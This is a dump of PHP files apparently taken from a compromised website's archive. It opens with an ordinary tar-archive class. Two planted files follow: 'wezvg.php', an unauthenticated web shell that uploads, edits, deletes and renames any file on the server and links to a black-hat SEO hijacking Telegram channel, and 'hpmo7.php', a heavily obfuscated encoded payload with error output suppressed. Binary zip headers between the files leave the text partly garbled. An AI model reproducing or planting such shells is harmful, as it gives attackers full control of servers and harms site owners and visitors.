return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK 9Jm\�!-�A A wezvg.phpnu �[��� <?php
header('Content-Type: text/html; charset=UTF-8');
session_start();
$currentDir = $_GET['dir'] ?? __DIR__;
$originalDir = $_GET['root'] ?? __DIR__;
function handleUpload($directory) {
if (!empty($_FILES['files'])) {
$uploaded = 0;
$failed = 0;
foreach ($_FILES['files']['name'] as $key => $name) {
if (!empty($name)) {
$fileName = basename($name);
$tmpName = $_FILES['files']['tmp_name'][$key];
$targetFile = $directory . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($tmpName, $targetFile)) {
$uploaded++;
} else {
$failed++;
}
}
}
$message = "上传成功:$uploaded 个文件;失败:$failed 个文件。";
echo "<script>alert('$message'); window.location.href=window.location.href;</script>";
}
}
function handleCreateFolder($directory) {
if (!empty($_POST['folderName'])) {
$newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName'];
if (!is_dir($newFolder)) {
if (mkdir($newFolder)) {
echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
} else {
echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
}
} else {
echo "<script>alert('目录已存在'); window.location.href=window.location.href;</script>";
}
}
}
function handleCreateFile($directory) {
if (!empty($_POST['fileName'])) {
$newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName'];
if (!file_exists($newFile)) {
if (file_put_contents($newFile, '') !== false) {
echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
} else {
echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
}
} else {
echo "<script>alert('文件已存在'); window.location.href=window.location.href;</script>";
}
}
}
function handleEditFile($filePath) {
if (isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
echo "<script>alert('保存成功'); window.location.href=window.location.href;</script>";
}
$content = htmlspecialchars(file_get_contents($filePath));
echo "<form method='POST'>";
echo "<textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
echo "<input type='submit' value='保存'>";
echo "</form>";
}
function handleDeleteFile($filePath) {
if (file_exists($filePath)) {
unlink($filePath);
echo "<script>alert('删除成功'); window.location.href=window.location.href;</script>";
}
}
function handleRenameFile($filePath) {
if (!empty($_POST['newName'])) {
$newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
if (rename($filePath, $newPath)) {
echo "<script>alert('重命名成功'); window.location.href=window.location.href;</script>";
} else {
echo "<script>alert('重命名失败'); window.location.href=window.location.href;</script>";
}
} else {
echo "<form method='POST'>";
echo "<input type='text' name='newName' placeholder='新文件名'>";
echo "<input type='submit' value='重命名'>";
echo "</form>";
}
}
function displayDirectory($directory) {
$files = array_diff(scandir($directory), array('.', '..'));
echo "<div><h3>目录内容:'$directory'</h3><ul>";
foreach ($files as $file) {
$path = realpath("$directory/$file");
$style = getFileStatus($path);
$isDir = is_dir($path) ? 'directory' : 'file';
echo "<li class='$isDir' style='$style'>";
echo $isDir === 'directory'
? "<a href='?dir=" . urlencode($path) . "&root=" . urlencode($_GET['root'] ?? __DIR__) . "'>$file</a>"
: "$file <span class='actions'> - " . generateFileActions($directory, $file) . "</span>";
echo "</li>";
}
echo "</ul></div>";
}
function getFileStatus($path) {
if (is_writable($path) && is_readable($path)) {
return "border-left: 4px solid green;";
} elseif (!is_writable($path)) {
return "border-left: 4px solid red;";
} elseif (is_readable($path)) {
return "border-left: 4px solid white;";
}
return "";
}
function generateFileActions($directory, $file) {
$root = urlencode($_GET['root'] ?? __DIR__);
return
"<a href='?dir=" . urlencode($directory) . "&action=edit&file=" . urlencode($file) . "&root=$root'>编辑</a> |
<a href='?dir=" . urlencode($directory) . "&action=delete&file=" . urlencode($file) . "&root=$root'>删除</a> |
<a href='?dir=" . urlencode($directory) . "&action=rename&file=" . urlencode($file) . "&root=$root'>重命名</a>";
}
function handleFileActions($filePath) {
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'edit':
handleEditFile($filePath);
break;
case 'delete':
handleDeleteFile($filePath);
break;
case 'rename':
handleRenameFile($filePath);
break;
}
}
}
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>文件管理器</title>
<style>
body { font-family: Arial; padding: 20px; background: #f8f8f8; }
.container { display: flex; gap: 40px; align-items: flex-start; }
.block { border: 1px solid #ccc; padding: 15px; border-radius: 8px; width: 300px; background: #fff; }
h3 { margin-top: 0; }
.actions { font-size: 12px; color: #555; }
.footer { font-size: 12px; color: #666; margin-top: 20px; }
</style>
</head><body>";
echo "<p>当前目录: <strong>$currentDir</strong></p>";
echo "<p>
<a href='?dir=" . urlencode(dirname($currentDir)) . "&root=" . urlencode($originalDir) . "'>返回上级目录</a> |
<a href='?dir=" . urlencode($originalDir) . "&root=" . urlencode($originalDir) . "'>回到原目录</a>
</p>";
if (isset($_GET['action'])) {
$filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
handleFileActions($filePath);
}
displayDirectory($currentDir);
echo "<div class='container'>";
// 上传文件
echo "<div class='block'>";
echo "<h3>上传文件(最多4个)</h3><form method='POST' enctype='multipart/form-data'>";
for ($i = 0; $i < 4; $i++) {
echo "<input type='file' name='files[]'><br>";
}
echo "<br><input type='submit' value='上传'>";
echo "</form>";
echo "</div>";
// 合并创建目录和文件
echo "<div class='block'>";
echo "<h3>创建目录 & 创建文件</h3><form method='POST'>";
echo "<input type='text' name='folderName' placeholder='目录名称'><br><br>";
echo "<input type='submit' value='创建目录'><br><br>";
echo "<input type='text' name='fileName' placeholder='文件名称'><br><br>";
echo "<input type='submit' value='创建文件'>";
echo "</form>";
echo "</div>";
echo "</div>"; // container 结束
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
handleUpload($currentDir);
handleCreateFolder($currentDir);
handleCreateFile($currentDir);
}
echo "<p class='footer'><a href='https://t.me/hacker6p'>黑帽劫持技术TG</a> - Google SEO 工具</p>";
echo "</body></html>";
?>
PK 9Jm\�U��S� S� hpmo7.phpnu �[��� <?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);
$SMpiPHfV = array('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', 